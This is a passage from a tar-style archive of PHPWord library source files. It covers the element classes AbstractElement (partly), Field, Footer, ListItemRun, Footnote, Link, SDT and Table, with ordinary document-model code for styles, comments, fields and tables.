     * Index of element in the elements collection (start with 1).
     *
     * @var int
     */
    protected $elementIndex = 1;

    /**
     * Unique Id for element.
     *
     * @var string
     */
    protected $elementId;

    /**
     * Relation Id.
     *
     * @var int
     */
    protected $relationId;

    /**
     * Depth of table container nested level; Primarily used for RTF writer/reader.
     *
     * 0 = Not in a table; 1 = in a table; 2 = in a table inside another table, etc.
     *
     * @var int
     */
    private $nestedLevel = 0;

    /**
     * A reference to the parent.
     *
     * @var null|AbstractElement
     */
    private $parent;

    /**
     * changed element info.
     *
     * @var TrackChange
     */
    private $trackChange;

    /**
     * Parent container type.
     *
     * @var string
     */
    private $parentContainer;

    /**
     * Has media relation flag; true for Link, Image, and Object.
     *
     * @var bool
     */
    protected $mediaRelation = false;

    /**
     * Is part of collection; true for Title, Footnote, Endnote, Chart, and Comment.
     *
     * @var bool
     */
    protected $collectionRelation = false;

    /**
     * The start position for the linked comments.
     *
     * @var Comments
     */
    protected $commentsRangeStart;

    /**
     * The end position for the linked comments.
     *
     * @var Comments
     */
    protected $commentsRangeEnd;

    /**
     * Get PhpWord.
     *
     * @return ?PhpWord
     */
    public function getPhpWord(): ?PhpWord
    {
        return $this->phpWord;
    }

    /**
     * Set PhpWord as reference.
     */
    public function setPhpWord(?PhpWord $phpWord = null): void
    {
        $this->phpWord = $phpWord;
    }

    /**
     * Get section number.
     *
     * @return int
     */
    public function getSectionId()
    {
        return $this->sectionId;
    }

    /**
     * Set doc part.
     *
     * @param string $docPart
     * @param int $docPartId
     */
    public function setDocPart($docPart, $docPartId = 1): void
    {
        $this->docPart = $docPart;
        $this->docPartId = $docPartId;
    }

    /**
     * Get doc part.
     *
     * @return string
     */
    public function getDocPart()
    {
        return $this->docPart;
    }

    /**
     * Get doc part Id.
     *
     * @return int
     */
    public function getDocPartId()
    {
        return $this->docPartId;
    }

    /**
     * Return media element (image, object, link) container name.
     *
     * @return string section|headerx|footerx|footnote|endnote
     */
    private function getMediaPart()
    {
        $mediaPart = $this->docPart;
        if ($mediaPart == 'Header' || $mediaPart == 'Footer') {
            $mediaPart .= $this->docPartId;
        }

        return strtolower($mediaPart);
    }

    /**
     * Get element index.
     *
     * @return int
     */
    public function getElementIndex()
    {
        return $this->elementIndex;
    }

    /**
     * Set element index.
     *
     * @param int $value
     */
    public function setElementIndex($value): void
    {
        $this->elementIndex = $value;
    }

    /**
     * Get element unique ID.
     *
     * @return string
     */
    public function getElementId()
    {
        return $this->elementId;
    }

    /**
     * Set element unique ID from 6 first digit of md5.
     */
    public function setElementId(): void
    {
        $this->elementId = substr(md5(mt_rand()), 0, 6);
    }

    /**
     * Get relation Id.
     *
     * @return int
     */
    public function getRelationId()
    {
        return $this->relationId;
    }

    /**
     * Set relation Id.
     *
     * @param int $value
     */
    public function setRelationId($value): void
    {
        $this->relationId = $value;
    }

    /**
     * Get nested level.
     *
     * @return int
     */
    public function getNestedLevel()
    {
        return $this->nestedLevel;
    }

    /**
     * Get comments start.
     *
     * @return Comments
     */
    public function getCommentsRangeStart(): ?Comments
    {
        return $this->commentsRangeStart;
    }

    /**
     * Get comment start.
     *
     * @return Comment
     */
    public function getCommentRangeStart(): ?Comment
    {
        if ($this->commentsRangeStart != null) {
            return $this->commentsRangeStart->getItem($this->commentsRangeStart->countItems());
        }

        return null;
    }

    /**
     * Set comment start.
     */
    public function setCommentRangeStart(Comment $value): void
    {
        if ($this instanceof Comment) {
            throw new InvalidArgumentException('Cannot set a Comment on a Comment');
        }
        if ($this->commentsRangeStart == null) {
            $this->commentsRangeStart = new Comments();
        }
        // Set ID early to avoid duplicates.
        if ($value->getElementId() == null) {
            $value->setElementId();
        }
        foreach ($this->commentsRangeStart->getItems() as $comment) {
            if ($value->getElementId() == $comment->getElementId()) {
                return;
            }
        }
        $idxItem = $this->commentsRangeStart->addItem($value);
        $this->commentsRangeStart->getItem($idxItem)->setStartElement($this);
    }

    /**
     * Get comments end.
     *
     * @return Comments
     */
    public function getCommentsRangeEnd(): ?Comments
    {
        return $this->commentsRangeEnd;
    }

    /**
     * Get comment end.
     *
     * @return Comment
     */
    public function getCommentRangeEnd(): ?Comment
    {
        if ($this->commentsRangeEnd != null) {
            return $this->commentsRangeEnd->getItem($this->commentsRangeEnd->countItems());
        }

        return null;
    }

    /**
     * Set comment end.
     */
    public function setCommentRangeEnd(Comment $value): void
    {
        if ($this instanceof Comment) {
            throw new InvalidArgumentException('Cannot set a Comment on a Comment');
        }
        if ($this->commentsRangeEnd == null) {
            $this->commentsRangeEnd = new Comments();
        }
        // Set ID early to avoid duplicates.
        if ($value->getElementId() == null) {
            $value->setElementId();
        }
        foreach ($this->commentsRangeEnd->getItems() as $comment) {
            if ($value->getElementId() == $comment->getElementId()) {
                return;
            }
        }
        $idxItem = $this->commentsRangeEnd->addItem($value);
        $this->commentsRangeEnd->getItem($idxItem)->setEndElement($this);
    }

    /**
     * Get parent element.
     *
     * @return null|AbstractElement
     */
    public function getParent()
    {
        return $this->parent;
    }

    /**
     * Set parent container.
     *
     * Passed parameter should be a container, except for Table (contain Row) and Row (contain Cell)
     */
    public function setParentContainer(self $container): void
    {
        $this->parentContainer = substr(get_class($container), strrpos(get_class($container), '\\') + 1);
        $this->parent = $container;

        // Set nested level
        $this->nestedLevel = $container->getNestedLevel();
        if ($this->parentContainer == 'Cell') {
            ++$this->nestedLevel;
        }

        // Set phpword
        $this->setPhpWord($container->getPhpWord());

        // Set doc part
        if (!$this instanceof Footnote) {
            $this->setDocPart($container->getDocPart(), $container->getDocPartId());
        }

        $this->setMediaRelation();
        $this->setCollectionRelation();
    }

    /**
     * Set relation Id for media elements (link, image, object; legacy of OOXML).
     *
     * - Image element needs to be passed to Media object
     * - Icon needs to be set for Object element
     */
    private function setMediaRelation(): void
    {
        if (!$this instanceof Link && !$this instanceof Image && !$this instanceof OLEObject) {
            return;
        }

        $elementName = substr(static::class, strrpos(static::class, '\\') + 1);
        if ($elementName == 'OLEObject') {
            $elementName = 'Object';
        }
        $mediaPart = $this->getMediaPart();
        $source = $this->getSource();
        $image = null;
        if ($this instanceof Image) {
            $image = $this;
        }
        $rId = Media::addElement($mediaPart, strtolower($elementName), $source, $image);
        $this->setRelationId($rId);

        if ($this instanceof OLEObject) {
            $icon = $this->getIcon();
            $rId = Media::addElement($mediaPart, 'image', $icon, new Image($icon));
            $this->setImageRelationId($rId);
        }
    }

    /**
     * Set relation Id for elements that will be registered in the Collection subnamespaces.
     */
    private function setCollectionRelation(): void
    {
        if ($this->collectionRelation === true && $this->phpWord instanceof PhpWord) {
            $elementName = substr(static::class, strrpos(static::class, '\\') + 1);
            $addMethod = "add{$elementName}";
            $rId = $this->phpWord->$addMethod($this);
            $this->setRelationId($rId);
        }
    }

    /**
     * Check if element is located in Section doc part (as opposed to Header/Footer).
     *
     * @return bool
     */
    public function isInSection()
    {
        return $this->docPart == 'Section';
    }

    /**
     * Set new style value.
     *
     * @param mixed $styleObject Style object
     * @param null|array|string|Style $styleValue Style value
     * @param bool $returnObject Always return object
     *
     * @return mixed
     */
    protected function setNewStyle($styleObject, $styleValue = null, $returnObject = false)
    {
        if (null !== $styleValue && is_array($styleValue)) {
            $styleObject->setStyleByArray($styleValue);
            $style = $styleObject;
        } else {
            $style = $returnObject ? $styleObject : $styleValue;
        }

        return $style;
    }

    /**
     * Sets the trackChange information.
     */
    public function setTrackChange(TrackChange $trackChange): void
    {
        $this->trackChange = $trackChange;
    }

    /**
     * Gets the trackChange information.
     *
     * @return TrackChange
     */
    public function getTrackChange()
    {
        return $this->trackChange;
    }

    /**
     * Set changed.
     *
     * @param string $type INSERTED|DELETED
     * @param string $author
     * @param null|DateTime|int $date allways in UTC
     */
    public function setChangeInfo($type, $author, $date = null): void
    {
        $this->trackChange = new TrackChange($type, $author, $date);
    }

    /**
     * Set enum value.
     *
     * @param null|string $value
     * @param string[] $enum
     * @param null|string $default
     *
     * @return null|string
     *
     * @todo Merge with the same method in AbstractStyle
     */
    protected function setEnumVal($value = null, $enum = [], $default = null)
    {
        if ($value !== null && trim($value) != '' && !empty($enum) && !in_array($value, $enum)) {
            throw new InvalidArgumentException("Invalid style value: {$value}");
        } elseif ($value === null || trim($value) == '') {
            $value = $default;
        }

        return $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Field.php000066600000021423151150442730016776 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use InvalidArgumentException;
use PhpOffice\PhpWord\Style\Font;

/**
 * Field element.
 *
 * @since 0.11.0
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_SimpleField.html
 */
class Field extends AbstractElement
{
    /**
     * Field properties and options. Depending on type, a field can have different properties
     * and options.
     *
     * @var array
     */
    protected $fieldsArray = [
        'PAGE' => [
            'properties' => [
                'format' => ['Arabic', 'ArabicDash', 'alphabetic', 'ALPHABETIC', 'roman', 'ROMAN'],
            ],
            'options' => ['PreserveFormat'],
        ],
        'NUMPAGES' => [
            'properties' => [
                'format' => ['Arabic', 'ArabicDash', 'CardText', 'DollarText', 'Ordinal', 'OrdText',
                    'alphabetic', 'ALPHABETIC', 'roman', 'ROMAN', 'Caps', 'FirstCap', 'Lower', 'Upper', ],
                'numformat' => ['0', '0,00', '#.##0', '#.##0,00', '€ #.##0,00(€ #.##0,00)', '0%', '0,00%'],
            ],
            'options' => ['PreserveFormat'],
        ],
        'DATE' => [
            'properties' => [
                'dateformat' => [
                    // Generic formats
                    'yyyy-MM-dd', 'yyyy-MM', 'MMM-yy', 'MMM-yyyy', 'h:mm am/pm', 'h:mm:ss am/pm', 'HH:mm', 'HH:mm:ss',
                    // Day-Month-Year formats
                    'dddd d MMMM yyyy', 'd MMMM yyyy', 'd-MMM-yy', 'd MMM. yy',
                    'd-M-yy', 'd-M-yy h:mm', 'd-M-yy h:mm:ss', 'd-M-yy h:mm am/pm', 'd-M-yy h:mm:ss am/pm', 'd-M-yy HH:mm', 'd-M-yy HH:mm:ss',
                    'd/M/yy', 'd/M/yy h:mm', 'd/M/yy h:mm:ss', 'd/M/yy h:mm am/pm', 'd/M/yy h:mm:ss am/pm', 'd/M/yy HH:mm', 'd/M/yy HH:mm:ss',
                    'd-M-yyyy', 'd-M-yyyy h:mm', 'd-M-yyyy h:mm:ss', 'd-M-yyyy h:mm am/pm', 'd-M-yyyy h:mm:ss am/pm', 'd-M-yyyy HH:mm', 'd-M-yyyy HH:mm:ss',
                    'd/M/yyyy', 'd/M/yyyy h:mm', 'd/M/yyyy h:mm:ss', 'd/M/yyyy h:mm am/pm', 'd/M/yyyy h:mm:ss am/pm', 'd/M/yyyy HH:mm', 'd/M/yyyy HH:mm:ss',
                    // Month-Day-Year formats
                    'dddd, MMMM d yyyy', 'MMMM d yyyy', 'MMM-d-yy', 'MMM. d yy',
                    'M-d-yy', 'M-d-yy h:mm', 'M-d-yy h:mm:ss', 'M-d-yy h:mm am/pm', 'M-d-yy h:mm:ss am/pm', 'M-d-yy HH:mm', 'M-d-yy HH:mm:ss',
                    'M/d/yy', 'M/d/yy h:mm', 'M/d/yy h:mm:ss', 'M/d/yy h:mm am/pm', 'M/d/yy h:mm:ss am/pm', 'M/d/yy HH:mm', 'M/d/yy HH:mm:ss',
                    'M-d-yyyy', 'M-d-yyyy h:mm', 'M-d-yyyy h:mm:ss', 'M-d-yyyy h:mm am/pm', 'M-d-yyyy h:mm:ss am/pm', 'M-d-yyyy HH:mm', 'M-d-yyyy HH:mm:ss',
                    'M/d/yyyy', 'M/d/yyyy h:mm', 'M/d/yyyy h:mm:ss', 'M/d/yyyy h:mm am/pm', 'M/d/yyyy h:mm:ss am/pm', 'M/d/yyyy HH:mm', 'M/d/yyyy HH:mm:ss',
                ],
            ],
            'options' => ['PreserveFormat', 'LunarCalendar', 'SakaEraCalendar', 'LastUsedFormat'],
        ],
        'MACROBUTTON' => [
            'properties' => ['macroname' => ''],
        ],
        'XE' => [
            'properties' => [],
            'options' => ['Bold', 'Italic'],
        ],
        'INDEX' => [
            'properties' => [],
            'options' => ['PreserveFormat'],
        ],
        'STYLEREF' => [
            'properties' => ['StyleIdentifier' => ''],
            'options' => ['PreserveFormat'],
        ],
        'FILENAME' => [
            'properties' => [
                'format' => ['Upper', 'Lower', 'FirstCap', 'Caps'],
            ],
            'options' => ['Path', 'PreserveFormat'],
        ],
        'REF' => [
            'properties' => ['name' => ''],
            'options' => ['f', 'h', 'n', 'p', 'r', 't', 'w'],
        ],
    ];

    /**
     * Field type.
     *
     * @var string
     */
    protected $type;

    /**
     * Field text.
     *
     * @var string|TextRun
     */
    protected $text;

    /**
     * Field properties.
     *
     * @var array
     */
    protected $properties = [];

    /**
     * Field options.
     *
     * @var array
     */
    protected $options = [];

    /**
     * Font style.
     *
     * @var \PhpOffice\PhpWord\Style\Font|string
     */
    protected $fontStyle;

    /**
     * Set Font style.
     *
     * @param array|\PhpOffice\PhpWord\Style\Font|string $style
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function setFontStyle($style = null)
    {
        if ($style instanceof Font) {
            $this->fontStyle = $style;
        } elseif (is_array($style)) {
            $this->fontStyle = new Font('text');
            $this->fontStyle->setStyleByArray($style);
        } elseif (null === $style) {
            $this->fontStyle = null;
        } else {
            $this->fontStyle = $style;
        }

        return $this->fontStyle;
    }

    /**
     * Get Font style.
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function getFontStyle()
    {
        return $this->fontStyle;
    }

    /**
     * Create a new Field Element.
     *
     * @param string $type
     * @param array $properties
     * @param array $options
     * @param null|string|TextRun $text
     * @param array|\PhpOffice\PhpWord\Style\Font|string $fontStyle
     */
    public function __construct($type = null, $properties = [], $options = [], $text = null, $fontStyle = null)
    {
        $this->setType($type);
        $this->setProperties($properties);
        $this->setOptions($options);
        $this->setText($text);
        $this->setFontStyle($fontStyle);
    }

    /**
     * Set Field type.
     *
     * @param string $type
     *
     * @return string
     */
    public function setType($type = null)
    {
        if (isset($type)) {
            if (isset($this->fieldsArray[$type])) {
                $this->type = $type;
            } else {
                throw new InvalidArgumentException("Invalid type '$type'");
            }
        }

        return $this->type;
    }

    /**
     * Get Field type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set Field properties.
     *
     * @param array $properties
     *
     * @return self
     */
    public function setProperties($properties = [])
    {
        if (is_array($properties)) {
            foreach (array_keys($properties) as $propkey) {
                if (!(isset($this->fieldsArray[$this->type]['properties'][$propkey]))) {
                    throw new InvalidArgumentException("Invalid property '$propkey'");
                }
            }
            $this->properties = array_merge($this->properties, $properties);
        }

        return $this->properties;
    }

    /**
     * Get Field properties.
     *
     * @return array
     */
    public function getProperties()
    {
        return $this->properties;
    }

    /**
     * Set Field options.
     *
     * @param array $options
     *
     * @return self
     */
    public function setOptions($options = [])
    {
        if (is_array($options)) {
            foreach (array_keys($options) as $optionkey) {
                if (!(isset($this->fieldsArray[$this->type]['options'][$optionkey])) && substr($optionkey, 0, 1) !== '\\') {
                    throw new InvalidArgumentException("Invalid option '$optionkey', possible values are " . implode(', ', $this->fieldsArray[$this->type]['options']));
                }
            }
            $this->options = array_merge($this->options, $options);
        }

        return $this->options;
    }

    /**
     * Get Field properties.
     *
     * @return array
     */
    public function getOptions()
    {
        return $this->options;
    }

    /**
     * Set Field text.
     *
     * @param null|string|TextRun $text
     *
     * @return null|string|TextRun
     */
    public function setText($text = null)
    {
        if (isset($text)) {
            if (is_string($text) || $text instanceof TextRun) {
                $this->text = $text;
            } else {
                throw new InvalidArgumentException('Invalid text');
            }
        }

        return $this->text;
    }

    /**
     * Get Field text.
     *
     * @return string|TextRun
     */
    public function getText()
    {
        return $this->text;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Footer.php000066600000004763151150442730017221 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Footer element.
 */
class Footer extends AbstractContainer
{
    /**
     * Header/footer types constants.
     *
     * @var string
     *
     * @see  http://www.datypic.com/sc/ooxml/t-w_ST_HdrFtr.html Header or Footer Type
     */
    const AUTO = 'default';  // default and odd pages
    const FIRST = 'first';
    const EVEN = 'even';

    /**
     * @var string Container type
     */
    protected $container = 'Footer';

    /**
     * Header type.
     *
     * @var string
     */
    protected $type = self::AUTO;

    /**
     * Create new instance.
     *
     * @param int $sectionId
     * @param int $containerId
     * @param string $type
     */
    public function __construct($sectionId, $containerId = 1, $type = self::AUTO)
    {
        $this->sectionId = $sectionId;
        $this->setType($type);
        $this->setDocPart($this->container, ($sectionId - 1) * 3 + $containerId);
    }

    /**
     * Set type.
     *
     * @since 0.10.0
     *
     * @param string $value
     */
    public function setType($value = self::AUTO): void
    {
        if (!in_array($value, [self::AUTO, self::FIRST, self::EVEN])) {
            $value = self::AUTO;
        }
        $this->type = $value;
    }

    /**
     * Get type.
     *
     * @return string
     *
     * @since 0.10.0
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Reset type to default.
     *
     * @return string
     */
    public function resetType()
    {
        return $this->type = self::AUTO;
    }

    /**
     * First page only header.
     *
     * @return string
     */
    public function firstPage()
    {
        return $this->type = self::FIRST;
    }

    /**
     * Even numbered pages only.
     *
     * @return string
     */
    public function evenPage()
    {
        return $this->type = self::EVEN;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/ListItemRun.php000066600000004014151150442730020167 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\ListItem as ListItemStyle;

/**
 * List item element.
 */
class ListItemRun extends TextRun
{
    /**
     * @var string Container type
     */
    protected $container = 'ListItemRun';

    /**
     * ListItem Style.
     *
     * @var ?\PhpOffice\PhpWord\Style\ListItem
     */
    private $style;

    /**
     * ListItem Depth.
     *
     * @var int
     */
    private $depth;

    /**
     * Create a new ListItem.
     *
     * @param int $depth
     * @param null|array|string $listStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($depth = 0, $listStyle = null, $paragraphStyle = null)
    {
        $this->depth = $depth;

        // Version >= 0.10.0 will pass numbering style name. Older version will use old method
        if (null !== $listStyle && is_string($listStyle)) {
            $this->style = new ListItemStyle($listStyle);
        } else {
            $this->style = $this->setNewStyle(new ListItemStyle(), $listStyle, true);
        }
        parent::__construct($paragraphStyle);
    }

    /**
     * Get ListItem style.
     *
     * @return ?\PhpOffice\PhpWord\Style\ListItem
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get ListItem depth.
     *
     * @return int
     */
    public function getDepth()
    {
        return $this->depth;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Footnote.php000066600000003135151150442730017550 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Paragraph;

class Footnote extends AbstractContainer
{
    /**
     * @var string Container type
     */
    protected $container = 'Footnote';

    /**
     * Paragraph style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    protected $paragraphStyle;

    /**
     * Is part of collection.
     *
     * @var bool
     */
    protected $collectionRelation = true;

    /**
     * Create new instance.
     *
     * @param array|\PhpOffice\PhpWord\Style\Paragraph|string $paragraphStyle
     */
    public function __construct($paragraphStyle = null)
    {
        $this->paragraphStyle = $this->setNewStyle(new Paragraph(), $paragraphStyle);
        $this->setDocPart($this->container);
    }

    /**
     * Get paragraph style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Link.php000066600000005735151150442730016660 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Link element.
 */
class Link extends AbstractElement
{
    /**
     * Link source.
     *
     * @var string
     */
    private $source;

    /**
     * Link text.
     *
     * @var string
     */
    private $text;

    /**
     * Font style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Font|string
     */
    private $fontStyle;

    /**
     * Paragraph style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    private $paragraphStyle;

    /**
     * Has media relation flag; true for Link, Image, and Object.
     *
     * @var bool
     */
    protected $mediaRelation = true;

    /**
     * Has internal flag - anchor to internal bookmark.
     *
     * @var bool
     */
    protected $internal = false;

    /**
     * Create a new Link Element.
     *
     * @param string $source
     * @param string $text
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     * @param bool $internal
     */
    public function __construct($source, $text = null, $fontStyle = null, $paragraphStyle = null, $internal = false)
    {
        $this->source = SharedText::toUTF8($source);
        $this->text = null === $text ? $this->source : SharedText::toUTF8($text);
        $this->fontStyle = $this->setNewStyle(new Font('text'), $fontStyle);
        $this->paragraphStyle = $this->setNewStyle(new Paragraph(), $paragraphStyle);
        $this->internal = $internal;
    }

    /**
     * Get link source.
     *
     * @return string
     */
    public function getSource()
    {
        return $this->source;
    }

    /**
     * Get link text.
     *
     * @return string
     */
    public function getText()
    {
        return $this->text;
    }

    /**
     * Get Text style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Font|string
     */
    public function getFontStyle()
    {
        return $this->fontStyle;
    }

    /**
     * Get Paragraph style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }

    /**
     * is internal.
     *
     * @return bool
     */
    public function isInternal()
    {
        return $this->internal;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/SDT.php000066600000006462151150442730016413 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Structured document tag (SDT) element.
 *
 * @since 0.12.0
 */
class SDT extends Text
{
    /**
     * Form field type: comboBox|dropDownList|date.
     *
     * @var string
     */
    private $type;

    /**
     * Value.
     *
     * @var null|bool|int|string
     */
    private $value;

    /**
     * CheckBox/DropDown list entries.
     *
     * @var array
     */
    private $listItems = [];

    /**
     * Alias.
     *
     * @var string
     */
    private $alias;

    /**
     * Tag.
     *
     * @var string
     */
    private $tag;

    /**
     * Create new instance.
     *
     * @param string $type
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($type, $fontStyle = null, $paragraphStyle = null)
    {
        parent::__construct(null, $fontStyle, $paragraphStyle);
        $this->setType($type);
    }

    /**
     * Get type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value)
    {
        $enum = ['plainText', 'comboBox', 'dropDownList', 'date'];
        $this->type = $this->setEnumVal($value, $enum, 'comboBox');

        return $this;
    }

    /**
     * Get value.
     *
     * @return null|bool|int|string
     */
    public function getValue()
    {
        return $this->value;
    }

    /**
     * Set value.
     *
     * @param null|bool|int|string $value
     *
     * @return self
     */
    public function setValue($value)
    {
        $this->value = $value;

        return $this;
    }

    /**
     * Get listItems.
     *
     * @return array
     */
    public function getListItems()
    {
        return $this->listItems;
    }

    /**
     * Set listItems.
     *
     * @param array $value
     *
     * @return self
     */
    public function setListItems($value)
    {
        $this->listItems = $value;

        return $this;
    }

    /**
     * Get tag.
     *
     * @return string
     */
    public function getTag()
    {
        return $this->tag;
    }

    /**
     * Set tag.
     *
     * @param string $tag
     *
     * @return self
     */
    public function setTag($tag)
    {
        $this->tag = $tag;

        return $this;
    }

    /**
     * Get alias.
     *
     * @return string
     */
    public function getAlias()
    {
        return $this->alias;
    }

    /**
     * Set alias.
     *
     * @param string $alias
     *
     * @return self
     */
    public function setAlias($alias)
    {
        $this->alias = $alias;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Table.php000066600000007177151150442730017014 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Table as TableStyle;

/**
 * Table element.
 */
class Table extends AbstractElement
{
    /**
     * Table style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Table
     */
    private $style;

    /**
     * Table rows.
     *
     * @var \PhpOffice\PhpWord\Element\Row[]
     */
    private $rows = [];

    /**
     * Table width.
     *
     * @var ?int
     */
    private $width;

    /**
     * Create a new table.
     *
     * @param mixed $style
     */
    public function __construct($style = null)
    {
        $this->style = $this->setNewStyle(new TableStyle(), $style);
    }

    /**
     * Add a row.
     *
     * @param int $height
     * @param mixed $style
     *
     * @return \PhpOffice\PhpWord\Element\Row
     */
    public function addRow($height = null, $style = null)
    {
        $row = new Row($height, $style);
        $row->setParentContainer($this);
        $this->rows[] = $row;

        return $row;
    }

    /**
     * Add a cell.
     *
     * @param int $width
     * @param mixed $style
     *
     * @return \PhpOffice\PhpWord\Element\Cell
     */
    public function addCell($width = null, $style = null)
    {
        $index = count($this->rows) - 1;
        $row = $this->rows[$index];
        $cell = $row->addCell($width, $style);

        return $cell;
    }

    /**
     * Get all rows.
     *
     * @return \PhpOffice\PhpWord\Element\Row[]
     */
    public function getRows()
    {
        return $this->rows;
    }

    /**
     * Get table style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Table|string
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get table width.
     *
     * @return ?int
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Set table width.
     *
     * @param int $width
     */
    public function setWidth($width): void
    {
        $this->width = $width;
    }

    /**
     * Get column count.
     *
     * @return int
     */
    public function countColumns()
    {
        $columnCount = 0;

        $rowCount = count($this->rows);
        for ($i = 0; $i < $rowCount; ++$i) {
            /** @var \PhpOffice\PhpWord\Element\Row $row Type hint */
            $row = $this->rows[$i];
            $cellCount = count($row->getCells());
            if ($columnCount < $cellCount) {
                $columnCount = $cellCount;
            }
        }

        return $columnCount;
    }

    /**
     * The first declared cell width for each column.
     *
     * @return int[]
     */
    public function findFirstDefinedCellWidths()
    {
        $cellWidths = [];

        foreach ($this->rows as $row) {
            $cells = $row->getCells();
            if (count($cells) <= count($cellWidths)) {
                continue;
            }
            $cellWidths = [];
            foreach ($cells as $cell) {
                $cellWidths[] = $cell->getWidth();
            }
        }

        return $cellWidths;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/TrackChange.php000066600000004414151150442730020126 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
